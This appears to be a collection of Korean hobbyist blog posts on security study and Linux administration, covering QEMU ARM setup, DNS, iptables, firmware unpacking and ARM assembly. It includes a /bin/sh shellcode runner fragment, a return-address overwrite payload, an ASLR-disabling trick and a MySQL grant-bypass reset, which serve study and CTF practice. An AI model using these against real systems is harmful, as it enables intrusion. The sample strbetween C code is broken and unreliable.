                "\x62\x69"
                "\x6e\x2f"
                "\x73\x68\x00\x00";
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

Posted by k1rha
2012. 11. 12. 16:16

qemu 란 가상 에뮬레이터이다.

arm-server를 구축하기 위해서 qemu를 설치하고 그안에서 arm-linux를 돌리는것이다. 


ARM proceccer 의 관심도가 높아짐에 따라 qemu for window 라고하여 window 에서 qemu arm 서버를 돌리게 도와주는 프로그램을 흔히 구할수 있게 된다.

하지만 이는 네트워킹이 잘안되게 되는데 아래와 같은 방법으로 해결 할 수 있다.


 RUN.bat 파일을 netepad 등으로 연다.그럼 아래와 같은 설정파일이나온다.

REM Start qemu on windows.

@ECHO OFF


REM SDL_VIDEODRIVER=directx is faster than windib. But keyboard cannot work well.

SET SDL_VIDEODRIVER=windib


REM SDL_AUDIODRIVER=waveout or dsound can be used. Only if QEMU_AUDIO_DRV=sdl.

SET SDL_AUDIODRIVER=dsound


REM QEMU_AUDIO_DRV=dsound or fmod or sdl or none can be used. See qemu -audio-help.

SET QEMU_AUDIO_DRV=dsound


REM QEMU_AUDIO_LOG_TO_MONITOR=1 displays log messages in QEMU monitor.

SET QEMU_AUDIO_LOG_TO_MONITOR=0



REM qemu-system-arm.exe  -L . -kernel integratorcp.zImage -initrd arm_root.img -M integratorcp1026

REM qemu-system-arm.exe -M versatilepb -m 16 -kernel flash.bin -append "clocksource=pit quiet rw lpj=1523712"


QEMU_ARM\qemu-system-arm -M versatilepb -kernel QEMU_ARM\vmlinuz-2.6.26-2-versatile -redir tcp:8080::80 -redir tcp:22222::22 -initrd QEMU_ARM/initrd.img-2.6.26-2-versatile -hda QEMU_ARM\debian_lenny_arm_standard.qcow2 -append "root=/dev/sda1"


그리고 위에 파란 부분을 추가해주면 포트포워딩이 된다.





우분투에서 qemu 설치법은 설치법은 다음과 같다


 #apt-get install qemu

#apt-get install qemu-kvm

#wget http://wiki.qemu.org/download/arm-test-0.2.tar.gz

#tar xvfz arm-test-0.2.tar.gz

#cd arm-test


#apt-get install qemu-kvm-extras



#qemu-system-arm -kernel zImage.integrator -initrd arm_root.img -redir tcp:5555:22




Posted by k1rha
2012. 11. 12. 05:35


===================================================

DNS 서버 구축하기

===================================================

#sudo apt-get install bind9    //바인드를 시키기 위한 프로그램

#sudo apt-get install dnsutils  //dns 유틸리티



#cat  /etc/bind/named.conf  //네임서버 설정파일이 들어가 있다.

---------------------------------------------------------------------

include "/etc/bind/named.conf.options";

include "/etc/bind/named.conf.local";

include "/etc/bind/named.conf.default-zones";

---------------------------------------------------------------------


# cat /etc/bind/named.conf.options

---------------------------------------------------------------------

options {

directory "/var/cache/bind";


// If there is a firewall between you and nameservers you want

// to talk to, you may need to fix the firewall to allow multiple

// ports to talk.  See http://www.kb.cert.org/vuls/id/800113


// If your ISP provided one or more IP addresses for stable 

// nameservers, you probably want to use them as forwarders.  

// Uncomment the following block, and insert the addresses replacing 

// the all-0's placeholder.


forwarders {

168.126.63.1;

0.0.0.0;

};


auth-nxdomain no;    # conform to RFC1035

listen-on-v6 { any; };

};


---------------------------------------------------------------------

forwarders 는 최후에 어떤 도메인을 검색할지 정해준다. 


# cat /etc/bind/named.conf.local

---------------------------------------------------------------------

//

// Do any local configuration here

//


// Consider adding the 1918 zones here, if they are not used in your

// organization

//include "/etc/bind/zones.rfc1918";

---------------------------------------------------------------------

필자의 경우엔 전부 주석처리 되어 있었다.


#vi /etc/bind/named.conf.default-zones


---------------------------------------------------------------------

// be authoritative for the localhost forward and reverse zones, and for

// broadcast zones as per RFC 1912


zone "aaa" {

        type master;

        file "/etc/bind/db.1";

};


zone "localhost" {

        type master;

        file "/etc/bind/db.local";

};


zone "127.in-addr.arpa" {

        type master;

        file "/etc/bind/db.127";

};


zone "0.in-addr.arpa" {

        type master;

        file "/etc/bind/db.0";

};


zone "255.in-addr.arpa" {

        type master;

        file "/etc/bind/db.255";

};

---------------------------------------------------------------------

위에서 처음부분으 필자가 만들어준 부분이다.

aaa 라는 도메인을 추가하여, /etc/bind/db.1 파일을 참조 하도록 하였다.



하고나서는 반드시 재시작!


#/etc/init.d/bind9 restart

Posted by k1rha
2012. 11. 12. 04:34


잘정리된 iptables 사용법


[출처 : http://seeaster.tistory.com/18 ]


오늘은 Iptables 에 대해 간단히 포스팅 하겠습니다. 그전에 몇가지 팁을 적어볼게요 ^^

옵션 보고 익히는 것보다 아래에 적은 팁이 실무에선 더 중요할 것 같네요.!!

 

Tip 7가지

1.     Iptables 하면서 팁은 위에서부터 아래로 적용 됨

2.     명렁어 치기전엔 3번 생각하자

-쳐놓고 서비스 장애 등 가용성에 문제가 온다면 GG입니다

3.     신뢰 IP Any Any open 해놓고 작업하기

-ssh 등 원격 접속 해 있을 때 실수로 차단되면 콘솔로 붙어서 작업해야함.

-inbound 와 outbound 해야함(ssh 같은경우 inbound open만 해놓을경우 통신 불가)

4.     생각나는데로 룰 만드는 것이 아닌 먼저 정책 분석, 트래픽 분석하고 다 정리한다음 테스트 장비에 테스트 후 적용할 것.

-초기 셋팅이 아닌 서비스 중에 변경할 땐 더욱 신중해야함.

5.     #]man iptables 를 이용할 것

-man 명령어로 명령어 옵션 보는 습관을 들이는 것이 좋습니다. 모든 명령어들어 옵션을 외울 수는 없지요. 물론 자주 쓰는 것은 외워두는 것이 좋습니다.

6.     일괄 적업하지 말 것.

-일괄작업 하면 빠르지만 하나하나씩 넣으면서 확인하는 습관을 길러야 합니다. 모든 보안 시스템은 일괄처리 기능이 제거되어있는데요 기계는 실수를 안하지만 사람은 항상 실수 하기 때문 입니다.

7.     Vi 편집기로 /etc/sysconfig/iptables 편집하는 것이 더 편하다.

-저장하기전에 확인하고 확인할것!!또한 vi 편집기로 작업후 서비스 재시작 해줄 것!(service iptables restart)

*처음 룰 생성해서 저장 하기 전까지는 /etc/sysconfig/iptables 파일이 없습니다.

 

 

 

# iptables 명령어(옵션) 간단한 설명

~]#vi /etc/sysconfig/iptables

~]#iptables -L :리스트보기

~]#iptables -P INPUT DROP : -P 기본정책, INPUT의 기본정책을 DROP으로 하겠다.

 

현재 FORWARD 기본정책은 ACCEPT

 

~]#iptables -A : -A 는 추가할떄

~]#iptables -I INPUT 3 : -I 는 원하는 라인에 추가, 3번쨰 라인에 추가한다는말임.

~]#iptables -A INPUT -p tcp : -p 는 프로토콜 정하기

~]#iptables -A INPUT -p tcp -s : -s 는 src ip

~]#iptables -A INPUT -p tcp -s 192.168.81.63 --dport 80: --dport 는 dst port

~]#iptables -A INPUT -p tcp -d 192.168.81.62: -d 는 dst ip

~]#iptabels -A INPUT -p tcp --sport 80: --sport 는 src port

~]#iptables -A INPUT -p tcp -dport 80 -j ACCEPT : -j 는 대응 방법(ACCEPT, DROP, REJECT 등),

*REJECT는 DOS 공격시 부하가 걸리므로 권장하지 않음

~]#iptables -A INPUT –m : -m은 man 페이지를 참조 하길..옵션이 너무 많아요..

 

#서비스 시작/정지/재시작/저장

*iptables 는 save 명령어를 쳐주지 않으면 시스템 재부팅 후 정책이 초기화 됩니다.

~]#service iptables start

~]#service iptables stop

~]#service iptables restart

~]#service iptables save

 

예제 참조는

http://team.boanin.com/

 

0. 기본정책을 ACCEPT로 설정

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD ACCEPT

 

1. 현재 자신의 방화벽 규칙을 볼 수 있는 명령

iptables -L

iptables --list

 

2. 21.23.25.80 포트를 차단하는 정책(각각 하나씩 규칙을 만들것)

iptables -A INPUT -p tcp --dport 21 -j DROP

iptables -A INPUT -p tcp --dport 23 -j DROP

iptables -A INPUT -p tcp --dport 25 -j DROP

iptables -A INPUT -p tcp --dport 80 -j DROP

 

iptables -A INPUT -p tcp -m multiport --destination-port 21,23,25,80 -j DROP

 

3.첫번쨰 정책을 삭제

iptabels -D INPUT 1

 

4. 세번째 정책의 출발지 IP를 192.168.1.0/24로 수정

iptables -R INPUT 3 -p tcp -s 192.168.1.0/24 --dport 80 -j DROP

 

5. 출발지 IP가 A클래스 사설 IP 일 경우 차단하는 정책

iptables -A INPUT -s 10.0.0.0./8 -j DROP

 

6. 출발지 IP 192.168.10.1 부터 192.168.10.100, 그리고 192.168.150.0/24이고 목적지IP 는 192.168.10.170이고 목적지 포트는 3306일 경우 차단하는 정책

 

iptables -A INPUT -p tcp -s 192.168.150.0/24 -d 192.168.10.170 --dport 3306 -j DROP

iptables -A INPUT -p tcp -m iprange --src-range 192.168.10.1-192.168.10.100 -d 192.168.10.170 --dport 3306 -j DROP

 

7. tcp 패킷이 초당 10개가 올경우 차단하는 정책(limit match 이용)

iptables -A INPUT -p tcp -m limit --limit 10/s -j DROP

 

8. 하나의 세션에서 10개의 패킷이 매치된 후 tcp 패킷이 분당 100개가 올 경우 차단하는 정책

iptables -A INPUT -p tcp -m limit --limit 100/m --limit-burst 10 -j DROP

 

9. 옆사람의 윈도우와 리눅스에서 SSH 접속을 차단하도록 설정, 윈도우에서 연결은DROP, 리눅스는 REJECT

iptables -A INPUT -p tcp -s 172.17.24.140 --dport 22 -j DROP

iptables -A INPUT -p tcp -s 172.17.24.170 --dport 22 -j REJECT --reject-with tcp-reset

 

10. ICMP 라는 체인을 생성

 -icmp 패킷이 들어올 경우 ICM 체인으로 전달

 -icmp 체인에 ping에 대한 응답하지 않는 정책 추가

 

iptables -N ICMP

iptables -A INPUT -p icmp -j ICMP

iptables -A ICMP -p icmp --icmp-type 8 -j DROP

 

11. 기본정책을 DROP으로 설정

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

 본인의 윈도우에서 ssh연결이 되도록 설정하고 이미 연결된 상태나 연광성이 있는 연결은 별도의 정책 대신 state 매치를 이용하여 계쏙 사용할수 있도록 설정

iptables -I INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT

iptables -A INPUT -p tcp -s 172.17.24.130 --dport 22 -j ACCEPT

 

12. TCP FLAG 중 전체를 보고 그 중 SYN 과 FIN이 있을 경우 차단하는 정책

iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN -j DROP

 

13. TCP FLAG 중 전체를 보고 그 중 PSH 과 FIN이 있을 경우 차단하는 정책

iptables -A INPUT -p tcp --tcp-flags ALL FIN,FIN -j DROP

Posted by k1rha
2012. 11. 11. 23:56

find ./ * | xargs grep -in 'RestoreConfig()'



Posted by k1rha
2012. 11. 7. 04:29

strchr() 의 사용 법




하지만 이를 해결 하는 정형화된 방법이 있다. 바로 strchar 를 이용한 방법이다.

아래 예제코드로 한번해 이해하자.


char *strbetween(char *srcString,char startChar ,char endChar){


char *ptr1=NULL;

char *ptr2=NULL;


memcpy(ptr1,srcString,strlen(srcString));


ptr1=strchr(srcString,startChar+1);

ptr2=strchr(ptr1,endChar);


if(ptr1 && ptr2){

strtok(ptr1,ptr2);

}else{

ptr1=NULL;

}

return ptr1;

}


간단하게 짜본 코드인데, 사이값을 반환해주는 함수이게되는데 strchr는 그값의 포인터를 반환해 줌으로써 가능해 지게 된다. 

이 코드는 주로 ptr1 ptr2 차이 값을 가지고 판단하는 코드와  따라 다니는 경향이 있는것 같다.

분석할 때 if 문내에 이런점을 주의깊게 보자!



Posted by k1rha
2012. 11. 6. 22:45

#define LOWORD(l) ((WORD)(l))  //하위 4바이트

#define HIWORD(l) ((WORD(***DWORD)(l)>>16) & 0xffff)) --상위 4바이트

#define LOBYTE(w) ((BYTE)(w)) //하위 2바이트

#define HIBYTE(w) ((BYTE)(((WORD)(w)>>8)&0xff)) //상위 2바이트


ex)

if(LOBYTE((&char__content_type)[v14]==43)


Posted by k1rha
2012. 11. 6. 17:24

 

그냥 check 섬이라는 말도 있고 여기서 말하는대로라면 무결성을 위한 고유한 디바이스 값정도가 될듯하다..

 

Posted by k1rha
2012. 11. 6. 15:41

펌웨어에서 디바이스 제어 시 read() write() 만으로 해결 안되는 문제에 도달했을때 우리는 ioctl() 을 사용하여 해결 할수 있다.

 

[출처 : http://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/device-understanding.html]

 

모듈은 등록될 때 디바이스 번호를 등록하고 이와 함께 file_operations 라는 구조체를 커널에 알려준다. file_operations는 include/linux/fs.h에 정의되어 있고 다음과 같다.

/*
 * NOTE:
 * read, write, poll, fsync, readv, writev can be called
 *   without the big kernel lock held in all filesystems.
 */
struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
	int (*readdir) (struct file *, void *, filldir_t);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, struct dentry *, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
	ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
};

 

 

 

 

 

int main()
{
int fd; char buf[256];

fd = open("/dev/hdd_info", O_RDWR);
ioctl(fd, 0, buf);

printf("buf : %s\n", buf);
close(fd);
return 0;
}

 

ioctl로 장치에게 동작 명령 내리고 출력하고 다시 장치를 닫는 코드이다.

 

ioctl은 장치에게 그냥 이미 정의되어있는 명령을 내리는(함수를 호출하는) 놈이라는 것을 알게 되었다

대신 장치를 우선 open으로 열고 인자로 그 file descriptor랑 가운데 request number를 넣어서 어떤 함수를 호출할지를 정하여 호출한다.

Posted by k1rha
2012. 11. 4. 16:51

[gate@localhost k1rha]$ cat test.c


 #include<stdio.h>

void func(){

printf("in function");

}

int main(int argc, char *argv[]){

char buff[10];

strcpy(buff,argv[1]);

return 0;

}

 #include<stdio.h>

void func(){

printf("in fucntion\n");

}

int main (int argc, char *argv[]){


char buff[10];

strcpy(buff,argv[1]);

return 0;

}

[gate@localhost k1rha]$ ./test `python -c 'print "x"*16+"\xf8\x83\x04\x08"'`

Segmentation fault (core dumped)

[gate@localhost k1rha]$ vi test.c   


// 여기서 개행만 추가.. 즉 1번그림에서 2번그림으로 바꿈 


[gate@localhost k1rha]$ make test

cc     test.c   -o test

[gate@localhost k1rha]$ ./test `python -c 'print "x"*16+"\xf8\x83\x04\x08"'`

in function

Segmentation fault (core dumped)

[gate@localhost k1rha]$ 


개행이 있고 없고에 차이에 따라 function이 호출되고 호출되지 않고..한다..


무슨 차이일까? ... 

Posted by k1rha
2012. 10. 31. 14:18

우선 타겟은 공유기의 펌웨어로 하여 진행을 하고 있다.

우선 펌웨어 분석툴인 firmware-mod-kit 을 이용하여 파일을 디패키징 한다. 


설치법은 다음과 같다.

(설치환경은 Ubuntu 11) 


# svn checkout http://firmware-mod-kit.googlecode.com/svn/ firmware-mod-kit-read-only

svn 을 이용하여 쭉~ 설치 .


  # cd firmware-mod-kit-read-only/

  # cd trunk/

  #  ./extract-ng.sh ../../../g1*******.bin 



 root@ubuntu:/home/iptime/toolkit/firmware-mod-kit-read-only/trunk# ./extract-ng.sh ../../../g1*******.bin 

Firmware Mod Kit (build-ng) 0.78 beta, (c)2011-2012 Craig Heffner, Jeremy Collake

http://www.bitsum.com


Scanning firmware...


DECIMAL    HEX        DESCRIPTION

-------------------------------------------------------------------------------------------------------

720896     0xB0000    Squashfs filesystem, little endian, version 3.0, size: 1201395 bytes, 243 inodes, blocksize: 65536 bytes, created: Tue Apr 12 00:55:31 2011


Extracting 720896 bytes of  header image at offset 0

Extracting squashfs file system at offset 720896

Extracting 160 byte footer from offset 1925152

Extracting squashfs files...

Firmware extraction successful!

Firmware parts can be found in 'fmk/*'


root@ubuntu:/home/****/toolkit/firmware-mod-kit-read-only/trunk/fmk/rootfs# ls -al

total 40

drwxr-xr-x 10 root root 4096 2011-04-12 00:55 .

drwxr-xr-x  5 root root 4096 2012-10-30 22:07 ..

drwxr-xr-x  3  510  504 4096 2011-04-12 00:55 bin

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 help

drwxr-xr-x  2 root root 4096 2011-04-12 00:55 images2

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 js

drwxr-xr-x  3  510  504 4096 2011-04-12 00:55 lib

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 ndbin

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 sbin

drwxr-xr-x  4  510  504 4096 2011-04-12 00:55 usr



잘 인해가 안되는것은, 같은 펌웨어 인데 버젼에 따라 패키지가 디패키징 되는 버젼이 있고 안되는 버젼이 있다는 것이다.

패킹문제인가.. 이 차이를 알고 계시는분은 연락주시면 밥한끼 사겠습니다.


E-mail :  k1rha@hacktizen.com 



Posted by k1rha
2012. 10. 30. 23:46

A good thing is that we have a neat trick to disable libc ASLR:

$ ulimit -s unlimited

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)



http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/

Posted by k1rha
2012. 10. 28. 13:16

아래가 설치법이다.

sudo dpkg -i 파일명.deb

rpm파일은 아래의 방법으로 deb파일로 변환할 수 있다.
sudo alien -k --script 변환할파일명.rpm 

위에서 사용한 alien package가 없다면, 아래를 실행한다.
sudo apt-get update
또는
sudo apt-get install alien 
 
bin파일은 아래와 같이 실행한다.

Posted by k1rha
2012. 10. 24. 00:24

!ereg("^[\xa1-\xfe0-9a-zA-Z]+$",$name)


else if(!ereg("^[\xa1-\xfe0-9a-zA-Z]+$",$name)){
echo"
<script>
window.alert('아이디는 한글과 영문,숫자만 입력할 수 있습니다')
history.go(-1)
</script>
";
}

Posted by k1rha
2012. 10. 23. 22:03

참고로 필자의 서버환경은 32bit -  우분투 11 버젼을 활용하였다.


기본적으로 우분투는 apt-get 을 이용하여 크로스 컴파일 환경 구축을 간편하게 해줄 수 있다.


------------------------------------------------------------------------------------------

root@ubuntu:~/test# apt-get install gcc-arm-linux-gnueabi


이후 간편성을 위해 심볼릭 링크 정도 걸어두면 편하다.


root@ubuntu:~/test# whereis arm-linux-gnueabi-gcc


arm-linux-gnueabi-gcc: /usr/bin/arm-linux-gnueabi-gcc /usr/share/man/man1/arm-linux-gnueabi-gcc.1.gz



root@ubuntu:~/test# ln -s arm-gcc /usr/bin/arm-linux-gnueabi-gcc


ln: creating symbolic link `/usr/bin/arm-linux-gnueabi-gcc': File exists

root@ubuntu:~/test# ln -s /usr/bin/arm-linux-gnueabi-gcc /usr/bin/arm-gcc

root@ubuntu:~/test# arm-gcc

arm-gcc: fatal error: no input files


------------------------------------------------------------------------------------------


우분투 환경이 아닐시엔 아래와 같은 바이너리 파일로 직접 다운받아 설치 하는 방법이 있다.

http://sourcery.mentor.com/public/gnu_toolchain/arm-none-linux-gnueabi/


위 주소에서 크로스 컴파일 bin 파일을 wget 하여 우분투로 옮긴다.




그다음 그것을 sh 로 실행 시켜 준다.


sh [파일명.bin] 

이후 나오는 질문들은 전부 Y나 엔터로 넘어갈 수 있다.

뒤 작업은 우분투와 동일하다.







Posted by k1rha
2012. 10. 23. 00:57

mysql root 암호 분실 되어때 복구 하는 방법.

 

1. 먼저 mysql데모를 멈춘다.

# /etc/init.d/mysqld stop  또는 아래 방법

# service mysqld stop


2. mysql 강제 접속 하는 방법.

# /usr/bin/mysqld_safe --skip-grant &

# mysql -u root -p

# 엔터 하면 접속 됨.

mysql > use mysql

mysql > update user set password=password('패스워드') where user='root';

mysql > flush privileges;

Posted by k1rha
2012. 10. 23. 00:42

APM을 오랜만에 신버젼으로 사용하려니 conf 파일이 모듈화가 되어서 이곳저곳 흐터져 있음에 놀랐다.

에전엔 httpd.conf 하나만 건들면 됐는데... ㅠㅠ 


디렉토리 리스팅을 해결하는법을 찾는데 30분넘는 검색이 걸렸다.

아래 두가지 방법을 적용시 키면 잘될 것이다. 


etc/apache2/mods-available/userdir.conf 파일에 존재하는 


<Directory /home/*/public_html>

                AllowOverride FileInfo AuthConfig Limit Indexes

#               Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec

                Options MultiViews SymLinksIfOwnerMatch IncludesNoExec


                <Limit GET POST OPTIONS>

                       Order allow,deny

                        Allow from all

                </Limit>

                <LimitExcept GET POST OPTIONS>

                        Order deny,allow

                        Deny from all

                </LimitExcept>

        </Directory>


위와 같이 Indexes 를 없애주면 된다. 위 방법으로 안될 시 아래 방법으로 필자는 해결을 보았다.

Ubuntu server 를 설치하고, apache2를 설치하니..

기본적으로 directory listing이 열려 있었다. 이 리스팅이 열려 있으면..

보안상 문제의 소지가 있기 때문에.. 되도록이면 막는것이 좋다.

이것을 막기 위해서는 아래와 같은 작업이 필요하다.

 

/etc/apache2/sites-available 폴더의 default 파일을 에디터로 연다.

 

Directory 태그의 Option 항목에서 Indexes가 포함된 모든 부분에서

"Indexes"를 "-Indexes"로 고쳐준다.

예)

Options Indexes FollowSymLinks

Options -Indexes FollowSymLinks

 

관리자 권한으로

/etc/init.d/apache2 restart

를 실행시켜준다.

[출처] Apache2 directory listing(폴더 항목 리스팅) 막기|작성자 에오메르

Posted by k1rha
2012. 10. 17. 23:19


import httplib, urllib

params = urllib.urlencode({'id':'k1rha','pw':'k1rha','pwch':'k1rha','age':'11','sex':'1','email':'1111'})

headers = {"Content-type":"application/x-www-form-urlencoded"}

conn=httplib.HTTPConnection("223.194.105.120:80")

conn.request("POST","/web7/web300_edit_ok.php",params,headers)


response = conn.getresponse()

#print response.status, response.reason 200 OK

data = response.read()

print data

conn.close()



Posted by k1rha
2012. 10. 15. 23:16

처음 gdb 로 들어와보면 다음과 같다. 

q


main+8 까지는 프롤로그 이고 

main+12 부분은 4바이트만큼 확장을 시키고 

main+16 부분에서 r3 에 r11 만큼을 빼어 16만큼 공간을 확보한뒤 r3 에 저장한다.

main+20  r0 에 pc 의 28의 오프셋인 Main+56 을 r0 에 저장한다.  (이부분에서는 %d 가 들어가 잇다.) 

main+24 r3의 값을 r1의 집어넣고  

main+28 scanf 의 반환값을 저장하고 호출한다.

main+32 scanf 인자값으로 r3 가 들어간듯하다.  이부분에서 5를 입력한뒤 r3ㄱ밧을 봐보면 5가 들어가 있다.

main+36 이 r3 값을 r0에 저장한다.

main+40 melong 이 호출된다. 인자값은 r0 하나 뿐인듯하다. 

main+44 main+40 에서 리턴값을 저장하고 함수를 들어간다.

main+48 r3 값에 0을 넣는다.

main+52 여기서부터는 에필로그이다. 



그렇다면 scanf 로 %d 를 인자값으로 받는 melong 함수를 봐보자. 




melong+8 여전히 main+8 가지는 프롤로그이고, 

melong+12 sp 에서 sp  + 8 바이트만큼 확장.. 무슨자료형일까.. double 인가?.. 

melong+16 r0 , 에서 무슨값을 가져와서~ 넣는다. 뭐냐하면? printf 전 r0 레지스터를 봐보면  input : %d\n 이다.

melong+20 들어온 값을 melong 88 지역엔 도데체 뭐가 든 걸까?.. 포인터로 추출해봐도 잘나오지 않음.

              어쨋거나 r0 값에는 %d\n 값이들어가 있고 r1에는 들어온 이자값이 들어가 있다.


melong+28 printf 를 호출하여 들어온 인자값을 출력한다.

melong+32 r3 값에 인자값으로 들어온 값을  넣는다.

melong+36 r3 값을 9와 비교해서 

melong+40 작거나 같으면 melong+60 으로 이동시키고.

<= 작거나 같은 경우 -------------------------

melong+44 클시에는 r3 에 0을 넣고.

melong+48 r3 값에 r11, 의 오프셋을 넣고. 이값에는 0 이 들어가 있다.

melong+52 r0 에 다시 0을 넣고 

melong+56 melong+80 을 호출하여 끝낸다. 

> 큰경우 ------------------------------------

melong+60 은 들어온 값을 r3에 넣고,

melong+64 r3 에 r3+1 을 집에 넣는다. ++ 증가 연산자.

melong+68 r11+16 위치에 r3 값을 다시 넣고, (증가한 값을 넣음)

melong+72 r0 값에 다시 증가한 값을 넣는다.

melong+76 그리고 다시 melong 호출.. 

melong+80 여기서 부턴 에필로그 부분이다. 




대충 그림을 그려보자. 


 #include<stdio.h>

int melong(int i){

printf("input :%d\n",i);

if(i>9)return 0;

else{

i=i+1;

melong(i);

}

}

int main(){

int i;

     scanf("%d",&i);

melong(i);

return 0;

}



CLEAR~! 


배운점 : le (작거나 같다 ) 는 어셈으로  크다를 표현하는 기준이다. 이게 늘 반대로 인기분.. 

melong(i++) 를 하지않고 i = i+1; 을 하고나서 melong(i++) 하는것은 다르다.  외부함수 역시 4바이트로 할당된다

Posted by k1rha
2012. 10. 11. 17:57

간단한 것부터 시작!! 분석을 해보자 .



-----------------------------------------------------------------------------------------------------------------

우선 main+8부분까지는 프롤로그 부분이니깐 생략한다. 

main+12 : sub 으로 4 byte 만큼만 빠지므로 변수가 전역변수로 4바이트 만큼 할당함을 알수 있다.  

main+16 : 이후 r3 레지스터에 0을 넣고 

main+20 : 이 값을 r11- 16 지점에 저장시킨다.


 test.c 를 만들어 테스트 해보았다. 

#include<stdio.h>

int main(){

   int i=0;

}

gdb )  를 하게되면 이것역시 r11-16에  0이란 값을 저장시킨다. 어떠한 영역인지는 아직 모르겠다. 

보통 변수값 저장은 r11-16 부터 시작되는 듯하다. 하지만 정확한 분석은 아니다. 


다시돌아와서 변수 선언은 안했었지만 r3에 0을 얺고 그 r3 값을 r11 의 주소값에 저장시켰다. 그리고 main+52를 호출한다.



========================  분기문 시작 =====================================

main+28 :  r0에 pc,#40 이 있는 on8430  주소값에 있는 값을 적재 시킨다  (이메모리영역은 texarea 영역인듯)

               이값을 x/s $r0 해서 보면 "this is very easy %d " 값이 나온다.


main+32 : r1 값에 , r11, -16 값을 넣는다. 이 값은 아까 선언했던 0 값이다.  즉 r1=0 이 된다.

main+36 : bl printf 이므로 돌아올 주소를 r14에 넣은뒤 printf 를 호출한다.  즉 this is very easy 0 이 뜨게 된다.

main+40 : r3값에 을 적재하고,

main+44 : r3 값에 r3 에 1을 더한값을 넣는다.

main+48 : r11-16 값에 r3를 적재시킨다. 


========================   분기문 도착 지역 =======================================

main+52 : r3에 r11-16 값을 적재 시킨다. (결국 r3= r3+1 이 되어있다.)

main+56 : r3 값을 9와 비교한다.

main+60 : 작거나 같으면 main+28을 호출하여 돌아간다.

main+64 : r3,#0 을 넣고 초기화 한다.

main+68 : r0 에 r3 값을, 0을 넣는다.


main+72.. 에필로그이다. 



--------------------------------------------------------------------------------------------------------

즉 분석만 딱봤을때 9보다 작거나 같을 동안 ++ 를 시켜가면서 this is very easy %d  를 호출하고 ++ 된 값을 뿌려주는 것을 알수 있다.



#include<stdio.h>

int main(){

for(int i=0;i<9;i++){printf("this is very easy %d\n",i);}

return 0;

}


그리도 다시 diass main 을 해봤다.


사실 대충 때리고 틀린 부분을 찾으려했는데 완전히 똑같이 나와 놀랐다. 



한가지 또 배운점은 void main() 과 int main() 에 관한 차이이다.

int main()은 함수로 선언되기 때문에 리턴형이 필요하므로 그 리턴형의 주소값을 sp,sp 4 만큼 빼줌으로써, 그값을 전달한다.

때문에 기본적으로 4 byte가 할당 되어 있는 것이다. 

하지만 return 0; 을 선언해 놓으면 컴파일러는 알아서 리턴할 함수가 없다는 것을 인식하고 이 할당한 버퍼의 크기를 없앤다.


void main() 의 경우는 리턴할 주소가 없기 때문에 애당초 4byte 의 크기 할당은 없다.

 







Posted by k1rha
2012. 10. 7. 12:36

패킷을 전송할때 특정바이트만큼 전송을 시키고 문자열을 자르고 싶었다.(JSON 형식.)

이러한 경우 특정 바이트 크기를 잡고 좌측이나 우측에 패딩값을 넣고 전송하고 split 해주면된다.


한데 패딩에 대한 자료가 없던중 한참을 뒤져서 나온 아래와 같은 방법! 왜 공백을 replace 할 생각을 못했을까 바보같아 ㅠ


public class Test {

  public static void main(String args[]) throws Exception {
    System.out.println(String.format("%1024s", "howto").replace(' ', '*'));
    System.out.println(String.format("%-1024s", "howto").replace(' ', '*'));
  }

/*  output

*****howto
howto*****

*/

}

Posted by k1rha
2012. 10. 3. 23:06

ARM 공부를 함에 있어서 나름 외우기 쉽게 이해한 내용만 정리해 보는 장이다.


R15 = PC?!
R14 = Link Register? -> EBP ?!
R13 = SP?!
R12 =  ?! – 그냥 막쓰는 기분..
R0 = 값 저장 때 인자 값 1 2 3 으로 쓰이는 기분..
나만의 암기 법!
[buffer     ] ^ [EBP] [RET]
[  R8~R12 ] ^[R14] [R15]



Load 와 Store 개념은 포인터 개념도 있다. 

그리고 지역변수를 저장하거나 문자열을 저장할 일이 있으면 반드시 이작업을 거치는 것 같다. 


포인터와 비슷한 개념!!
[Rn]=*RN    [] 주소값! *는 가르키는 곳!
LDR  : Load Direct Register(주소 값을 담음)
Ex)LDR Rd,[Rn,offset] ; Rd:=*(Rn+offset)
LDR Rd,[Rn,offset]!   ;  Rn:=Rn+offset,Rd=*(Rn)
대상값을 업데이트!
STR Rd,[Rn,offset] ; *(Rn_offset) = Rd (적재!)
LDRB (LDR 의 바이트코드)
STRB (STR의 바이트 코드) 



연습해 봅시다.


#include<stdio.h>

Int main(){

  Printf(“aaaa”);

}

 #include<stdio.h>

Int main(){

  char buff[100];

  scanf(“%s”,buff);

}


각 어샘블리어는 다음과 같다


 




 
